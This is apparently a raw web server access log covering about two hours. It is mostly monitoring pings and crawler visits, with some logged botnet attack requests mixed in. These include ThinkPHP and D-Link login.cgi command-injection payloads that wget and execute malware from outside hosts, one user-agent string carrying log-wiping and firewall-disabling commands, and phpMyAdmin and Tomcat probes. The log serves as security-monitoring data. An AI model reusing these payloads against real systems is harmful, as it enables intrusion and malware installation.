212.91.246.72 - - [23/Feb/2020:17:48:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:50:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:51:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:52:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:53:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.171.242 - - [23/Feb/2020:17:53:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
119.196.108.183 - - [23/Feb/2020:17:53:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:17:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.216.96.243 - - [23/Feb/2020:17:55:54 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.243 - - [23/Feb/2020:17:55:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
212.91.246.72 - - [23/Feb/2020:17:56:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:57:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:58:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:07:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:08:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:09:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:18:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:19:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:21:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.47.46.85 - - [23/Feb/2020:18:22:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:18:22:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:25:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:27:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:28:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:31:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.229.120.50 - - [23/Feb/2020:18:33:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.229.120.50 - - [23/Feb/2020:18:33:23 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.229.120.50 - - [23/Feb/2020:18:33:24 +0100] "POST /Admin53f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:18:33:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.112.41.230 - - [23/Feb/2020:18:35:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:18:35:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:37:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:38:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:40:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:41:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:44:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.50.101.239 - - [23/Feb/2020:18:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:18:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:46:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:48:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:50:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.88.196.170 - - [23/Feb/2020:18:51:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:18:51:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:52:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [23/Feb/2020:18:52:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:18:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:18:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:00:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:02:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:03:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:04:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:05:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.235.218.5 - - [23/Feb/2020:19:08:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:19:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:13:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:14:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:15:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.239.149.94 - - [23/Feb/2020:19:18:13 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [23/Feb/2020:19:18:13 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [23/Feb/2020:19:18:14 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
212.91.246.72 - - [23/Feb/2020:19:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.111.188.9 - - [23/Feb/2020:19:20:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:19:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.239.149.94 - - [23/Feb/2020:19:21:45 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
212.91.246.72 - - [23/Feb/2020:19:22:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.117.21.42 - - [23/Feb/2020:19:22:51 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
134.117.21.42 - - [23/Feb/2020:19:22:52 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
134.117.21.42 - - [23/Feb/2020:19:22:52 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
212.91.246.72 - - [23/Feb/2020:19:23:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:24:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.239.149.94 - - [23/Feb/2020:19:25:03 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [23/Feb/2020:19:25:04 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [23/Feb/2020:19:25:05 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [23/Feb/2020:19:25:10 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [23/Feb/2020:19:25:12 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
212.91.246.72 - - [23/Feb/2020:19:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.147.128 - - [23/Feb/2020:19:25:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:19:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:30:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.206.53.161 - - [23/Feb/2020:19:33:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
189.41.240.85 - - [23/Feb/2020:19:34:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:19:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:35:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:39:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.243.233.62 - - [23/Feb/2020:19:40:13 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.243.233.62 - - [23/Feb/2020:19:40:13 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
121.141.174.238 - - [23/Feb/2020:19:40:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:19:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [23/Feb/2020:19:40:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [23/Feb/2020:19:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.213.156 - - [23/Feb/2020:19:42:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:19:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:44:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
